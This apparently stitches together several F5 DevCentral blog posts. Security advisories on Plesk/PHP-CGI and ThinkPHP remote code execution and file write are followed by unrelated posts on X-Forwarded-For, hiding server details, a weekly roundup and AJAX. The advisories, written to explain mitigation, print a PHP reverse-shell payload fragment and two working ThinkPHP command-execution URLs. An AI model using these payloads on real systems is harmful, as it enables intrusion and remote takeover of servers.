Plesk Vulnerability
Recently we’ve witnessed another example of a relatively old and specific vulnerability come to life using a very common and wide spread application. In this case it was the CVE-2012-1823 vulnerability, being exploited using the Plesk admin panel. This vulnerability allows remote code execution by using a bug in the PHP CGI wrapper, which allows injecting CGI options to the executable, as well as piping other shell commands. Plesk is a tool that allows automated deployment and centralized management of various system services such as: Web hosting, DNS and E-Mail. It is a widely used application, popular amongst independent SMB’s. This “out in the wild” code-execution exploit attempts to upload PHP code onto the server, using the aforementioned vulnerability in the CGI module. Code injection is possible thanks to query data being passed unescaped directly to shell. This allows passing options to the CGI binary such as –r (execute code) and –d (define ini). In addition, command line pipe-lining is also possible because the entire argument is declared unquoted: #!/bin/sh exec /dh/cgi-system/php5.cgi $* By simply reviewing the source code of the exploit, no particular sophistication or elaborate attack pattern was found. It is a straight forward attack vector with PHP code in body, and CGI parameters in query. This part of the exploit sets the PHP-CGI flags: As we can see, the –d flag is used to declare some config line directives, and the –n flag to bypass the local php.ini. Then the payload is being sent, which is a PHP page that sets up a shell with a socket:. $pwn="<?php echo \"Content-Type: text/plain\r\n\r\n\";set_time_limit (0); \$VERSION = \"1.0\"; \$ip ='$lip'; \$port = $lport; \$chunk_size = 1400; \$write_a = null;\$error_a = null; \$shell = '/bin/sh -i'; \$daemon = ... Issuing the exploit against an updated ASM version triggered the following signatures: 200004025 - PHP injection attempt ( <? ) 200004038 - PHP injection attempt ( posix_setsid ) 200100310 - "/bin" execution attempt (Parameter) 200100310 - Shell command (sh/ksh/etc) access (Value) 200100330 - PHP-CGI Shell Code Injection (v2) 200002437 - SQL-INJ "if(Expression,value,value)" (Parameter) The PHP and CGI signatures are quite expected, as well as the other command execution ones. As for the SQL-INJ signature, it could be considered a false positive since this attack was not SQL Injection. However, since the format of this signature resembles execution code as well as an SQL query – it is understandable why the PHP code located in the payload has triggered this signature.
ThinkPHP 6.0.0 - 6.0.1 Arbitrary File Write Vulnerability
ThinkPHP is an open source PHP development framework for agile web application development. The framework is vastly adopted worldwide, a quick Shodan search shows more than 40,000 active deployments. On the 15 th of January a new vulnerability in ThinkPHP was disclosed after being patched by the vendor. The vulnerability allows the attacker to write or overwrite arbitrary files in the system. The root cause of the vulnerability is session management functionality using the user-controlled value of the session cookie as the name of a file saved in the file system. By using directory traversal, an attacker can save the file anywhere in the system. If the content of the file, which depends on a specific application logic, is also controllable, the attacker could write a web shell to the system and access it. It is important to note, that the session initiation is not enabled by default and requires a manual change in configuration. The vulnerability affects ThinkPHP versions 6.0.0 - 6.0.1. Technical details The attacker sends a custom PHPSESSID to the server: Figure 1:A request with user-controlled session cookie The server handles the request and uses the PHPSESSID cookie value to set the user's session: Figure 2:Setting the session ID with a user-controlled value The application verifies that the PHPSESSID value is a 32-byte string, if the condition is met than the session value is accepted and set: Figure 3:Verifying the value is a 32-byte string After establishing the session ID value, while constructing the response, the application saves the session information to a file with the session ID value as its name: Figure 4, 5:Writing a file to the system with the value of the session cookie Figure 6:The file created on the file system The vendor patched ThinkPHP and added an additional check for the PHPSESSID value allowing only alphanumeric characters, preventing the possibility of directory traversal: Mitigating the vulnerability with BIG-IP ASM BIG-IP ASM customers under any supported BIG-IP version are already protected against this vulnerability. While exploiting this vulnerability attacker will try to send payloads containing directory traversal. The exploitation attempt will be detected by existing attack signatures. Figure 8: Exploit blocked with Attack Signature (200000190) Figure 9: Exploit blocked with Attack Signature (200101550) In addition, if the attacker will try to inject PHP code to stored in the session file for further exploitation, it will be detected by signatures which can be found in signature sets that include "Command Execution" and "Server Side Code Injection" attack types or "PHP" system.
ThinkPHP 5.x Remote Code Execution Vulnerability
ThinkPHP is an open source PHP development framework for agile web application development. The framework is vastly adopted worldwide, a quick Shodan search shows more than40,000 active deployments. Recently, an unauthenticated remote code execution vulnerability was discovered in ThinkPHP, which was quickly adopted by large amount of threat actors who started scanning for vulnerable instances. The root cause of the vulnerability is the way that ThinkPHP parses the requested controller and executes the requested function. The patch committed to the Github repository by the maintainers showed that a regular expression validating the supplied controller name was added. Figure 1: Vulnerability patched by adding a Regular expression that validates the supplied controller name The reason for this addition is because ThinkPHP receives the requested module, controller and function to execute within a query parameter and splits it by using the ‘/’ character as a delimiter. Figure 2: ThinkPHP splits the received string in order to get the module and controller names Once ThinkPHP parsed the controller name and function, it first creates an instance of the supplied controller name by using reflection and then executes the requested function. Figure 3: ThinkPHP creates an instance of the requested controller and executes the requested function The two publicly disclosed vectors leading to arbitrary command execution are attempting to load a valid class of ThinkPHP. The two payloads are: http://thinkphp/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l http://thinkphp/public/index.php?s=/index/\think\request/cache&key=ls%20-l|system The first attack vector will attempt to execute the “invokeFunction” method of the ThinkPHP App class, which allows specifying an arbitrary function to execute and passes the required arguments for this function. Figure 4: invokeFunction method of ThinkPHP App class The second attack vector attempts to execute the cache function of ThinkPHP Request class which attempts to split between a function name and parameter by using the ‘|’ character as delimiter. And, it later attempts to execute the function with its parameters. Figure 5: cache method of ThinkPHP Request class Mitigating the vulnerability with BIG-IP ASM BIG-IP ASM customers under any supported BIG-IP version are already protected against this vulnerability. The exploitation attempt will be detected by a dedicated attack signature recently released to mitigate the mentioned exploitation attempts which can be found in signature sets that include the “Server Side Code Injection” attack type or the “PHP” system. Figure 6: Exploitation attempt blocked by signature id 200004481 Advanced WAF customers with Threat Intelligence subscription are protected with the following Threat Campaigns: - ThinkPHP Remote Code Execution - HelloThinkPHP - ThinkPHP Remote Code Execution - curl zzUsing "X-Forwarded-For" in Apache or PHP
An issue that often comes up for users of any full proxy-based product is that the original client IP address is often lost to the application or web server. This is because in a full proxy system there are two connections; one between the client and the proxy, and a second one between the proxy and the web server. Essentially, the web server sees the connection as coming from the proxy, not the client. Needless to say, this can cause problems if you want to know the IP address of the real client for logging, for troubleshooting, for tracking down bad guys, or performing IP address specific tasks such as geocoding. Maybe you're just like me and you're nosy, or you're like Don and you want the webalizer graphs to be a bit more interesting (just one host does not a cool traffic graph make, after all!). That's where the "X-Forwarded-For" HTTP header comes into play. Essentially the proxy can, if configured to do so, insert the original client IP address into a custom HTTP header so it can be retrieved by the server for processing. If you've got a BIG-IP you can simply enable the ability to insert the "X-Forwarded-For" header in the http profile. Check out the screen shot below to see just how easy it is. Yeah, it's that easy. If for some reason you can't enable this feature in the HTTP profile, you can write an iRule to do the same thing. when HTTP_REQUEST { HTTP::header insert "X-Forwarded-For" [IP::client_addr]} Yeah, that's pretty easy, too. So now that you're passing the value along, what do you do with it? Modifying Apache's Log Format Well, Joe has a post describing how to obtain this value in IIS. But that doesn't really help if you're not running IIS and like me have chosen to run a little web server you may have heard of called Apache. Configuring Apache to use the X-Forwarded-For instead of (or in conjunction with) the normal HTTP client header is pretty simple. ApacheWeek has a great article on how to incorporate custom fields into a log file, but here's the down and dirty. Open your configuration file (usually in /etc/httpd/conf/) and find the section describing the log formats. Then add the following to the log format you want to modify, or create a new one that includes this to extract the X-Forwarded-For value: %{X-Forwarded-For}i That's it. If you don't care about the proxy IP address, you can simply replace the traditional %h in the common log format with the new value, or you can add it as an additional header. Restart Apache and you're ready to go. Getting the X-Forwarded-For from PHP If you're like me, you might have written an application or site in PHP and for some reason you want the real client IP address, not the proxy IP address. Even though my BIG-IP has the X-Forwarded-For functionality enabled in the http profile, I still need to access that value from my code so I can store it in the database. $headers = apache_request_headers(); $real_client_ip = $headers["X-Forwarded-For"]; That's it, now I have the real IP address of the client, and not just the proxy's address. Happy Coding & Configuring! Imbibing: CoffeeUsing Resource Obfuscation to Reduce Risk of Mass SQL Injection
One of the ways miscreants locate targets for mass SQL injection attacks that can leave your applications and data tainted with malware and malicious scripts is to simply seek out sites based on file extensions. Attackers know that .ASP and .PHP files are more often than not vulnerable to SQL injection attacks, and thus use Google and other search engines to seek out these target-rich environments by extension. Using a non-standard extension will not eliminate the risk of being targeted by a mass SQL injection attack, but it can significantly reduce the possibility because your site will automatically turn up in cursory searches seeking vulnerable sites. As Jeremiah Grossman often points out, while cross-site scripting may be the most common vulnerability discovered in most sites, SQL injection is generally the most exploited vulnerability, probably due to the ease with which it can be discovered, so anything you can do to reduce that possibility is a step in the right direction. You could, of course, embark on a tedious and time-consuming mission to rename all files such that they do not show up in a generic search. However, this requires much more than simply replacing file extensions as every reference to the files must also necessarily be adjusted lest you completely break your application. You may also be able to automatically handle the substitution and required mapping in the application server itself by modifying its configuration. Alternatively there is another option: resource obfuscation. Using a network-side scripting technology like iRules or mod_rewrite, you have a great option at your disposal to thwart the automated discovery of potentially vulnerable applications. HIDE FILE EXTENSIONS You can implement network-side script functionality that simply presents to the outside world a different extension for all PHP and ASP files. While internally you are still serving up application.php the user – whether search engine, spider, or legitimate user – sees application.zzz. The network-side script must be capable of replacing all instances of “.php” with “.zzz” in responses while interpreting all requests for “.zzz” as “.php” in order to ensure that the application continues to act properly. The following iRule shows an example of both the substitution in the response and the replacement in the request to enable this functionality: when HTTP_REQUEST { # This replaces “.zzz” with ".php” in the URI HTTP::uri [string map {".zzz" ".php"} [HTTP::uri]] } when HTTP_RESPONSE { STREAM::disable If {[HTTP::header value "Content-Type"] contains "text" } { STREAM::expression "@.php@.zzz@" STREAM::enable } } One of the benefits of using a network-side script like this one to implement resource obfuscation is that in the event that the bad guys figure out what you’re doing, you can always change the mapping in a centralized location and it will immediately propagate across all your applications – without needing to change a thing on your servers or in your application. HIDE YOUR SERVER INFORMATION A second use of resource obfuscation is to hide the server information. Rather than let the world know you’re running on IIS or Apache version whatever with X and Y module extensions, consider changing the configuration to provide minimal – if any – information about the actual application infrastructure environment. For Apache you can change this in httpd.conf: ServerSignature Off ServerTokens Prod These settings prevent Apache from adding the “signature” at the bottom of pages that contains the server name and version information and changes the HTTP Server header to simply read “Apache”. In IIS you can disable the Server header completely by setting the following registry key to “1”. HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters\DisableServerHeader If you’d rather change the IIS Server header instead of removing it, this KnowledgeBase Note describes how to use URLScan to achieve your goals. If you’d like to change the HTTP Server header in a centralized location you can use mod_security or network-side scripting to manipulate the Server header. As with masking file extensions, a centralized location for managing the HTTP Server header can be beneficial in many ways, especially if there are a large number of servers on which you need to make configuration changes. Using iRules, just replace the header with something else: when HTTP_RESPONSE { HTTP::header replace Server new_value } Using mod_security you can set the SecServerSignature directive: SecServerSignature "My Custom Server Name" These techniques will not prevent your applications from being exploited nor do they provide any real security against an attack, but they can reduce the risk of being discovered and subsequently targeted by making it more difficult for miscreants to recognize your environment as one that may be vulnerable to attack.
DevCentral Top5 01/16/2009
I can't believe it's only the second week of this year's Top5 series. There are so many things going on that it feels like it's been weeks since I wrote last. I know the output to the site has only been bumped up marginally but trust me, things behind the scenes are beyond busy trying to get things ramped up, polished and ready to push hard all through the year. This week saw some continued series', a couple of really interesting new blog / docs posts, and plenty of awesome action in the forums / wikis. Here's this week's Top5: Accuracy is important. Vulnerabilities not so much. http://devcentral.f5.com/s/weblogs/dmacvittie/archive/2009/01/14/accuracy-is-important.-vulnerabilities-not-so-much.aspx One of the more spirited topics flying around the 'net this week was the article put out by SANS title "Top 25 Dangerous Programming Errors". While there were some interesting security issues called out in this list, Don took a bit of an issue with the title. I have to agree with him when he points out that this should have been called the "Top 25 Dangerous SECURITY Programming Errors". That "Security" in the title would have made all the difference. As it is, though, Don found cause to discuss the difference between security programming errors as opposed to other errors more inherent in the functionality and delivery of an application. I like his take on it, and it's a great lead in to the SANS article which, while over-hyped, still has some decent content. 24: A Day in the Life of Geolocating New DevCentral Members http://devcentral.f5.com/s/weblogs/JeffB/archive/2009/01/15/3910.aspx While Jeff is usually found in the background, behind the scenes of DevCentral, keeping things moving and ensuring we're always up to something interesting, he does tend to put out some great blog posts from time to time. In the most recent such post, he details a smattering of user registrations that all occurred within a 24 hour timeframe. He even gives us a big animal picture style chart to show their geographic location. It's a really interesting snapshot of what's going on with the community, community uptake, new members, and the true geographic disbursement of our little slice of the web. Way cool. Adobe AIR (FLEX3) Sample BIG-IP Monitoring Application http://devcentral.f5.com/s/Default.aspx?tabid=63&articleType=ArticleView&articleId=305 Having written powerful blog posts one after the other, Lori goes back to her coding roots a bit in this PHP example that shows how you can have your very own PHP proxy for iControl / FLEX. There isn't much editorial-wise, but there doesn't have to be, there's plenty of tasty coding goodness to be had here. I love seeing the API and the product in general pushed and stretched in different directions, and this is yet another cool example of doing just that. It's good to see all that writing hasn't turned Lori soft in her coding skills. Investigating the LTM TCP Profile: ECN & LTR http://devcentral.f5.com/s/Default.aspx?tabid=63&articleType=ArticleView&articleId=304 I know I include Jason's "Investigating the LTM TCP Profile" series in the Top5 every week, but that's just because it's so darn cool. He dives deep, yet again, into some more options in the TCP profile that you can fiddle with to achieve different behaviors. Detailing both Extended Congestion Notification (ECN) and Limited Transit Recovery (LTR), he uncovers more of the mysteries hiding in the dark depths of the granular profile options. I've said it before, but if you want to get the absolute most out of your systems whether it be flexibility or performance, these articles are definitely worth a look. Ruby Meets iControl: Switching Policies http://devcentral.f5.com/s/Default.aspx?tabid=63&articleType=ArticleView&articleId=303 For the second article in the Ruby Meets iControl series I picked the Ruby WA Policy Switcher. This somewhat simpler application serves an equally cool and useful function as the VIP creator I talked about last week. Seeing a variety of languages used for iControl applications is outstanding, and Ruby is another really cool one to add to the list, not to mention a language that's been burning up the search rankings lately. Even if this particular application doesn't fit your exact need, seeing these things done in many different ways, in many different languages not only gives a wider base of places to start for people wanting to get into iControl coding, but shows off just how versatile and flexible the API and platform are. I dig it. There you have it, five more from the top for this week's DevCentral Top5. Thanks for reading and I hope you'll be back next week. Tell a friend. ;) #Colin Listening to: Daft Punk - Alive 2007 - Around The World / Harder Better Faster StrongerHow AJAX can make a more agile enterprise
In general, we talk a lot about the benefits of SOA in terms of agility, aligning IT with the business, and risk mitigation. Then we talk about WOA (web oriented architecture) separately from SOA (service oriented architecture) but go on to discuss how the two architectures can be blended to create a giant application architecture milkshake that not only tastes good, but looks good. AJAX (Asynchronous JavaScript and XML) gets lumped under the umbrella of "Web 2.0" technologies. It's neither WOA nor SOA, being capable of participating in both architectural models easily. Some might argue that AJAX, being bound to the browser and therefore the web, is WOA. But WOA and SOA are both architectural models, and AJAX can participate in both - it is neither one or the other. It's seen as a tool; a means to an end, rather than as an enabling facet of either architectural model. It's seen as a mechanism for building interactive and more responsive user interfaces, as a cool tool to implement interesting tricks in the browser, and as yet another cross-browser incompatible scripting technology that makes developer's lives miserable. But AJAX, when used to build enterprise applications, can actually enable and encourage a more agile application environment. When AJAX is applied to user-interface elements to manipulate corporate data the applications or scripts on the server-side that interact with the GUI are often distilled into discrete blocks of functionality that can be reused in other applications and scripts in which that particular functionality is required. And thus services are born. Services that are themselves agile and thus enable broader agility within the application architecture. They aren't SOA services, at least that's what purists would say, but they are services, empowered with the same characteristics of their SOA-based cousins: reusable and granular. The problem is that AJAX is still seen as an allen wrench in an architecture that requires screwdrivers. It's often viewed only in terms of building a user interface, and the services it creates or takes advantage of on the back-end as being unequal to those specifically architected for inclusion in the enterprise SOA. Because AJAX drives the development of discrete services on the server-side, it can be a valued assistant in decomposing applications into its composite services. It can force you to think about the services and the operations required because AJAX necessarily interacts with granular functions of a service in a singular fashion. If we force AJAX development to focus on the user-interface, we lose some of the benefits we can derive from the design and development process by ignoring how well AJAX fits into the service-oriented paradigm. We lose the time and effort that goes into defining the discrete services that will be used by an AJAX-enabled component in the user-interface, and the possibility of reusing those services in the broader SOA. An SOA necessarily compels us to ignore platform and language and concentrate on the service. Services deployed on a web server utilizing PHP or ASP or Ruby as their implementation language are no different than those deployed on heavy application servers using JSP or Java or .NET. They can and should be included in the architectural design process to ensure they can be reused when possible. AJAX forces you to think in a service-oriented way. The services required by an AJAX-enabled user-interface should be consistent with the enterprise's architectural model and incorporated into that architecture whenever possible in order to derive agility and reuse from those services. AJAX is inherently an agile technology. Recognizing that early and incorporating the services required by AJAX-enabled components can help build a more agile, more consistent, more SOA-like application infrastructure.
